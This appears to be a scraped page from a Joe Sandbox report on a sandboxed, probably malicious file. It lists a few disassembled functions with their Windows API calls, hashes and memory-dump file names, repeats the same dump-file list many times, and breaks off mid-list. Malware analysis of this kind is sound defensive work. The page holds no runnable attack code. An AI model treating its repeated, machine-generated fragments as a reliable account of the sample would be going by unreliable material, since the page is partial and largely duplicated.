Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: 090342eedd0b0ecdc5d4835b899380265e4640fbbdcbde029c27775166cda3a1
Instruction ID: dcd11f463ec5808d7d686e42d3e6da59309d330bc0d574f0ea540a0c9adcc155
Opcode Fuzzy Hash: 090342eedd0b0ecdc5d4835b899380265e4640fbbdcbde029c27775166cda3a1
Instruction Fuzzy Hash: 742106317042409BFB289B6CEC9976EFB62FBC1314F24421BE454973D5C7759A8086A1

Function 005DA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: cc6a5829d68d6496729ff253144a8e087097fb4323cc15c8ac3434b707c8d763
Instruction ID: 8b89b2bf40248743f26d8f8b77b57aa5230e2076a7055c50b7b589ad75653366
Opcode Fuzzy Hash: cc6a5829d68d6496729ff253144a8e087097fb4323cc15c8ac3434b707c8d763
Instruction Fuzzy Hash: 1E210B312452019AFB34676C985A76FBF53FFC1300F240817E944963D6DB66568092A3

Function 005DA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: 1bfb126f7a45cf6e0451e95bb2f94e2ac2af20d8a2fac2e5850ad3aa11939e21
Instruction ID: 836a4423a1c5e5119408e454bac0ec520e48db2bdff5b6948d5064f69255a983
Opcode Fuzzy Hash: 1bfb126f7a45cf6e0451e95bb2f94e2ac2af20d8a2fac2e5850ad3aa11939e21
Instruction Fuzzy Hash: 6B2167313002409BFB289B2CDC8976EFF62FBD1310F24461BE414977D5C776968087A2

Function 005D7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005D7ED3

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 801d44ca8211912f53d64214891e1a7132269c567bfe0d1ae4fb31498698f868
Instruction ID: 1a8bbf12c0276f6c86750cbe467d28b4744a00dccfc9c55c253a7eb9849c093e
Opcode Fuzzy Hash: 801d44ca8211912f53d64214891e1a7132269c567bfe0d1ae4fb31498698f868
Instruction Fuzzy Hash: 55E10770E002459BDB24BB2CCC1B7AD7F62BB85720F94469EE415A73C2EB354E9487C2

Function 0060D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0060A813,00000001,00000364,00000006,000000FF,?,0060EE3F,?,00000004,00000000,?,?), ref: 0060D871

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6fd80d0eda4f3a6debbfe413d08344c8cf3f53c215c285feebd731261e9ef6ff
Instruction ID: a9fbeab1055a31a0c082e13dd2857f2c83b667289690d8a67efc128ff18f004a
Opcode Fuzzy Hash: 6fd80d0eda4f3a6debbfe413d08344c8cf3f53c215c285feebd731261e9ef6ff
Instruction Fuzzy Hash: 2CF0E9316D112576EB2D6AF29C01ADB375BDF45370B14C221FC08972C1DA20EC0185E0

Function 005D87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,005DDA1D,?,?,?,?), ref: 005D87B9

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
